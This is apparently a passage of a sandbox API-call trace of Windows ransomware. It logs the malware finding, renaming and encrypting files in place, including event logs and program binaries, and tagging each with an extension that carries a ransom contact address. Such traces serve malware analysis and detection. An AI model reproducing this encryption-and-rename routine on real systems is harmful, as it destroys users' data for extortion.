0x6b4 [0090.213] CloseHandle (hObject=0x6b4) returned 1 [0090.213] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0090.213] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0090.214] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0090.214] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffc6c | out: lpFindFileData=0x50ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13b62, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5040 [0090.214] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0090.214] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b4 [0090.214] GetProcessHeap () returned 0x630000 [0090.214] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x701ee68 [0090.215] GetProcessHeap () returned 0x630000 [0090.215] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x702a298 [0090.216] SetFilePointerEx (in: hFile=0x6b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.216] ReadFile (in: hFile=0x6b4, lpBuffer=0x701ee68, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x701ee68*, lpNumberOfBytesRead=0x50fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0094.365] GetProcessHeap () returned 0x630000 [0094.365] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8848 [0094.365] SetFilePointerEx (in: hFile=0x6b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.365] WriteFile (in: hFile=0x6b4, lpBuffer=0x702a298*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x702a298*, lpNumberOfBytesWritten=0x50fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0094.366] SetFilePointerEx (in: hFile=0x6b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.366] WriteFile (in: hFile=0x6b4, lpBuffer=0x7035697*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7035697*, lpNumberOfBytesWritten=0x50fff0c*=0x20, lpOverlapped=0x0) returned 1 [0094.366] SetFilePointerEx (in: hFile=0x6b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.366] WriteFile (in: hFile=0x6b4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x50fff0c*=0x4, lpOverlapped=0x0) returned 1 [0094.366] CloseHandle (hObject=0x6b4) returned 1 [0096.250] GetProcessHeap () returned 0x630000 [0096.250] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x702a298 | out: hHeap=0x630000) returned 1 [0096.250] GetProcessHeap () returned 0x630000 [0096.250] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x701ee68 | out: hHeap=0x630000) returned 1 [0096.254] GetProcessHeap () returned 0x630000 [0096.254] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8848 | out: hHeap=0x630000) returned 1 [0096.254] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0096.254] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffcc4 | out: lpFindFileData=0x50ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0xff51b14e, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x13b86, dwReserved0=0xa207496, dwReserved1=0x701ee60, cFileName="LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d52c0 [0096.254] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0096.254] Sleep (dwMilliseconds=0x1) [0098.202] Sleep (dwMilliseconds=0x1) [0099.746] Sleep (dwMilliseconds=0x1) [0101.028] Sleep (dwMilliseconds=0x1) [0101.796] Sleep (dwMilliseconds=0x1) [0102.270] Sleep (dwMilliseconds=0x1) [0102.477] Sleep (dwMilliseconds=0x1) [0102.664] Sleep (dwMilliseconds=0x1) [0102.930] Sleep (dwMilliseconds=0x1) [0103.088] Sleep (dwMilliseconds=0x1) [0103.197] Sleep (dwMilliseconds=0x1) [0103.472] Sleep (dwMilliseconds=0x1) [0104.246] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx", len=0x4a | out: pbstr=0x50fff7c*="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 1 [0104.246] GetProcessHeap () returned 0x630000 [0104.247] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x68ddb8, Size=0x54) returned 0x68e0b8 [0104.250] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0104.251] CloseHandle (hObject=0x648) returned 1 [0104.251] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0104.251] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0104.252] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0104.252] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffc6c | out: lpFindFileData=0x50ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5089d037, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5089d037, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MI0037~1.FIR")) returned 0x6d5000 [0104.252] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0104.252] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0104.252] GetProcessHeap () returned 0x630000 [0104.252] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71b15b8 [0104.252] GetProcessHeap () returned 0x630000 [0104.253] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6ffcc70 [0104.253] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.253] ReadFile (in: hFile=0x648, lpBuffer=0x71b15b8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x71b15b8*, lpNumberOfBytesRead=0x50fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0112.360] GetProcessHeap () returned 0x630000 [0112.360] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee4e0 [0112.360] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.360] WriteFile (in: hFile=0x648, lpBuffer=0x6ffcc70*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ffcc70*, lpNumberOfBytesWritten=0x50fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0112.360] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.360] WriteFile (in: hFile=0x648, lpBuffer=0x700806f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x700806f*, lpNumberOfBytesWritten=0x50fff0c*=0x20, lpOverlapped=0x0) returned 1 [0112.360] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.360] WriteFile (in: hFile=0x648, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x50fff0c*=0x4, lpOverlapped=0x0) returned 1 [0112.361] CloseHandle (hObject=0x648) returned 1 [0112.363] GetProcessHeap () returned 0x630000 [0112.363] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ffcc70 | out: hHeap=0x630000) returned 1 [0112.364] GetProcessHeap () returned 0x630000 [0112.364] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71b15b8 | out: hHeap=0x630000) returned 1 [0112.364] GetProcessHeap () returned 0x630000 [0112.364] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee4e0 | out: hHeap=0x630000) returned 1 [0112.364] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0112.364] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffcc4 | out: lpFindFileData=0x50ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5089d037, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5089d037, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x8eaf883, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11024, dwReserved0=0xa207496, dwReserved1=0x71b15b0, cFileName="Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MI0037~1.FIR")) returned 0x6d4f00 [0112.365] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0112.396] Sleep (dwMilliseconds=0x1) [0113.617] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml", len=0x51 | out: pbstr=0x50fff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 1 [0113.618] GetProcessHeap () returned 0x630000 [0113.618] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6d5500, Size=0x34) returned 0x6d5400 [0113.618] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0113.618] Sleep (dwMilliseconds=0x1) [0113.631] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml", len=0x52 | out: pbstr=0x50fff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 1 [0113.631] GetProcessHeap () returned 0x630000 [0113.631] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e9120, Size=0x1c) returned 0x6e9080 [0113.631] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0113.634] Sleep (dwMilliseconds=0x1) [0113.650] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml", len=0x4e | out: pbstr=0x50fff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 1 [0113.650] GetProcessHeap () returned 0x630000 [0113.650] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b12b0 | out: hHeap=0x630000) returned 1 [0113.650] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0113.650] Sleep (dwMilliseconds=0x1) [0113.662] Sleep (dwMilliseconds=0x1) [0113.682] Sleep (dwMilliseconds=0x1) [0113.692] Sleep (dwMilliseconds=0x1) [0114.304] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe", len=0x4b | out: pbstr=0x50fff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe") returned 1 [0114.305] GetProcessHeap () returned 0x630000 [0114.305] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fef578, Size=0x3c) returned 0x6fef698 [0114.305] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.305] Sleep (dwMilliseconds=0x1) [0114.309] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml", len=0x54 | out: pbstr=0x50fff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 1 [0114.310] GetProcessHeap () returned 0x630000 [0114.310] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6998e8, Size=0x20) returned 0x6e9198 [0114.310] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.312] Sleep (dwMilliseconds=0x1) [0114.325] Sleep (dwMilliseconds=0x1) [0114.404] Sleep (dwMilliseconds=0x1) [0114.421] Sleep (dwMilliseconds=0x1) [0114.439] Sleep (dwMilliseconds=0x1) [0114.513] Sleep (dwMilliseconds=0x1) [0114.553] Sleep (dwMilliseconds=0x1) [0114.560] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml", len=0x3d | out: pbstr=0x50fff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml") returned 1 [0114.560] GetProcessHeap () returned 0x630000 [0114.560] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b04b8, Size=0x10) returned 0x6b1430 [0114.560] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.563] Sleep (dwMilliseconds=0x1) [0114.578] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml", len=0x3d | out: pbstr=0x50fff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml") returned 1 [0114.578] GetProcessHeap () returned 0x630000 [0114.578] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699888, Size=0x24) returned 0x699798 [0114.578] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.583] Sleep (dwMilliseconds=0x1) [0114.604] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml", len=0x3d | out: pbstr=0x50fff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml") returned 1 [0114.604] GetProcessHeap () returned 0x630000 [0114.604] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e8fe0, Size=0x18) returned 0x6b0178 [0114.604] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.604] Sleep (dwMilliseconds=0x1) [0114.608] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml", len=0x3d | out: pbstr=0x50fff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 1 [0114.608] GetProcessHeap () returned 0x630000 [0114.608] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1448, Size=0xc) returned 0x6b12b0 [0114.608] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.612] Sleep (dwMilliseconds=0x1) [0114.624] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe", len=0x45 | out: pbstr=0x50fff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe") returned 1 [0114.624] GetProcessHeap () returned 0x630000 [0114.624] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1208, Size=0xc) returned 0x6b1418 [0114.624] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.627] Sleep (dwMilliseconds=0x1) [0114.637] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabTip.exe", len=0x3d | out: pbstr=0x50fff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabTip.exe") returned 1 [0114.637] GetProcessHeap () returned 0x630000 [0114.637] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b13b8 | out: hHeap=0x630000) returned 1 [0114.637] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabTip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.637] Sleep (dwMilliseconds=0x1) [0114.654] Sleep (dwMilliseconds=0x1) [0114.668] Sleep (dwMilliseconds=0x1) [0114.686] Sleep (dwMilliseconds=0x1) [0114.700] Sleep (dwMilliseconds=0x1) [0114.716] Sleep (dwMilliseconds=0x1) [0114.731] Sleep (dwMilliseconds=0x1) [0114.747] Sleep (dwMilliseconds=0x1) [0114.762] Sleep (dwMilliseconds=0x1) [0114.778] Sleep (dwMilliseconds=0x1) [0114.794] Sleep (dwMilliseconds=0x1) [0114.880] Sleep (dwMilliseconds=0x1) [0114.887] Sleep (dwMilliseconds=0x1) [0114.903] Sleep (dwMilliseconds=0x1) [0114.919] Sleep (dwMilliseconds=0x1) [0114.939] Sleep (dwMilliseconds=0x1) [0114.954] Sleep (dwMilliseconds=0x1) [0114.968] Sleep (dwMilliseconds=0x1) [0115.028] Sleep (dwMilliseconds=0x1) [0115.043] Sleep (dwMilliseconds=0x1) [0115.059] Sleep (dwMilliseconds=0x1) [0115.075] Sleep (dwMilliseconds=0x1) [0115.090] Sleep (dwMilliseconds=0x1) [0115.113] Sleep (dwMilliseconds=0x1) [0115.122] Sleep (dwMilliseconds=0x1) [0115.137] Sleep (dwMilliseconds=0x1) [0115.154] Sleep (dwMilliseconds=0x1) [0115.168] Sleep (dwMilliseconds=0x1) [0115.500] Sleep (dwMilliseconds=0x1) [0115.905] Sleep (dwMilliseconds=0x1) [0117.136] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe", len=0x30 | out: pbstr=0x50fff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 1 [0117.136] GetProcessHeap () returned 0x630000 [0117.136] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e9288, Size=0x18) returned 0x6b04b8 [0117.136] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0117.137] CloseHandle (hObject=0x694) returned 1 [0117.137] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0117.137] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0117.138] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0117.138] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffc6c | out: lpFindFileData=0x50ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="klist.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="KLISTE~1.FIR")) returned 0x6d5580 [0117.138] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0117.138] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, 